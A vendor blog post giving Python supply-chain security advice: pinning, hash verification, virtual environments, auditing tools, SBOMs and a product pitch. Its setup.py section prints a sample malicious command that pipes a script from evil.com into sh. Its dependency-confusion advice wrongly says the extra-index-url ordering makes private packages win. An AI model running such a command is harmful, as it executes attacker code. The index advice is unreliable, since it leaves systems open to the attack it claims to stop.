Dependency Security

Python Package Security Best Practices

Practical techniques for securing your Python supply chain, from pip and PyPI to virtual environments and hash verification.

Nayan Dey
DevSecOps Lead
5 min read

Python's packaging ecosystem has matured significantly, but its openness still presents real security challenges. PyPI hosts over 400,000 packages, anyone can publish, and the default pip install behavior trusts the registry completely. If you are shipping Python in production, here is how to lock it down.

The Python Supply Chain Threat Landscape

Python is a top target for supply chain attacks. In 2022 alone, researchers identified hundreds of malicious PyPI packages. Common attack patterns include:

  • Typosquatting. Packages named reqeusts or python-dateutils that execute malicious code on install.
  • Dependency confusion. Attackers publishing public packages that share names with private internal packages, exploiting pip's default resolution order.
  • Account takeover. Compromised maintainer credentials used to push backdoored releases.
  • Setup.py execution. Python packages can run arbitrary code during installation through setup.py.

The fundamental problem is that pip install some-package downloads code from the internet and executes it on your machine. Every layer of protection you add reduces the blast radius.

Pin Everything

Version pinning is the single most impactful security measure for Python applications.

requirements.txt

For applications, pin every dependency to an exact version:

flask==2.3.3
requests==2.31.0
sqlalchemy==2.0.21

Never use >= or unpinned requirements in production. A new release of any dependency could introduce vulnerabilities or breaking changes.

pip-compile (pip-tools)

pip-tools is the gold standard for managing Python dependencies. Write your direct dependencies in requirements.in:

flask
requests
sqlalchemy

Then compile to a fully pinned requirements.txt:

pip-compile requirements.in --generate-hashes

This generates a lockfile with exact versions and SHA-256 hashes for every package, including transitive dependencies:

flask==2.3.3 \
    --hash=sha256:... \
    --hash=sha256:...
requests==2.31.0 \
    --hash=sha256:...

Hash verification

When you install with hashes, pip verifies that the downloaded package matches the expected hash. This prevents a compromised mirror or man-in-the-middle attack from injecting modified packages:

pip install --require-hashes -r requirements.txt

If any hash does not match, the install fails. This is the strongest verification pip offers.

Virtual Environments Are Non-Negotiable

Every Python project should use an isolated virtual environment. Mixing dependencies across projects in a global site-packages directory creates confusion and makes auditing impossible.

python -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

In CI/CD, create a fresh virtual environment for every build. Never reuse environments between jobs.

For stronger isolation, consider using pipx for CLI tools and nox or tox for testing across multiple Python versions.

Defending Against Dependency Confusion

Python's pip resolves packages by checking configured indexes in order. If you host internal packages on a private PyPI server, an attacker can publish a package with the same name on public PyPI with a higher version number. pip will prefer the higher version.

Defenses:

  1. Use --index-url for your private registry and --extra-index-url only for public PyPI. This way, private packages are resolved first.
pip install --index-url https://pypi.yourcompany.com/simple/ \
            --extra-index-url https://pypi.org/simple/ \
            -r requirements.txt
  1. Register your internal package names on public PyPI. Publish placeholder packages with the same names to block squatters.

  2. Use scoped package names. Some private registries support namespaces. Use them.

  3. Pin hashes. If every package has a known hash, a dependency confusion attack will fail hash verification.

Auditing for Vulnerabilities

pip-audit

pip-audit is maintained by the Python Packaging Authority (PyPA) and checks your installed packages against the OSV database:

pip install pip-audit
pip-audit

Run this in CI. It supports multiple output formats and can scan requirements.txt files directly:

pip-audit -r requirements.txt --format=json

Safety

safety checks packages against the Safety DB. It is widely used but note that the free database has a delay compared to commercial feeds.

Bandit

bandit is a static analysis tool for Python source code. It does not check dependencies, but it catches insecure coding patterns like eval(), hardcoded passwords, and insecure deserialization.

setup.py and Build-Time Code Execution

Python packages traditionally use setup.py for build configuration, and this file is executed during pip install. Malicious packages exploit this:

# Malicious setup.py
import os
os.system("curl http://evil.com/steal.sh | sh")

Modern Python packaging is moving toward pyproject.toml with PEP 517/518 build backends that do not require arbitrary code execution. Prefer packages that use pyproject.toml over setup.py.

When evaluating new dependencies, check whether the package uses setup.py with suspicious code. Look for:

  • Network calls in setup.py
  • Obfuscated strings or base64 decoding
  • Subprocess calls
  • Importing ctypes or os in build files

Generating a Python SBOM

CycloneDX provides a pip plugin for SBOM generation:

pip install cyclonedx-bom
cyclonedx-py environment --output sbom.json

This captures your complete dependency tree with versions, hashes, and license information. Generate SBOMs in CI and archive them with your build artifacts.

Private Package Registries

If your organization produces internal Python packages, host them on a private registry:

  • AWS CodeArtifact integrates with IAM for authentication.
  • Google Artifact Registry supports Python packages natively.
  • JFrog Artifactory offers advanced features like virtual repositories.
  • GitLab Package Registry is included with GitLab.

Configure pip to authenticate with your private registry:

# pip.conf
[global]
index-url = https://token:${PYPI_TOKEN}@pypi.yourcompany.com/simple/
extra-index-url = https://pypi.org/simple/

Automated Dependency Updates

Use Dependabot or Renovate to keep Python dependencies current. Configure them to:

  • Open PRs for security updates immediately.
  • Group non-security updates into weekly batches.
  • Run your test suite on every dependency update PR.

Stale dependencies are the most common source of known vulnerabilities in production systems.

How Safeguard.sh Helps

Safeguard.sh ingests your Python SBOMs and provides continuous visibility into your dependency risk. It tracks which versions of every package are deployed across your environments, alerts you when new CVEs affect your stack, and helps you prioritize remediation based on actual exploitability. For Python specifically, Safeguard.sh flags packages with known malicious versions on PyPI and monitors your dependency tree for confusion attack indicators. You get a single pane of glass for your entire Python supply chain, across every service and repository.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.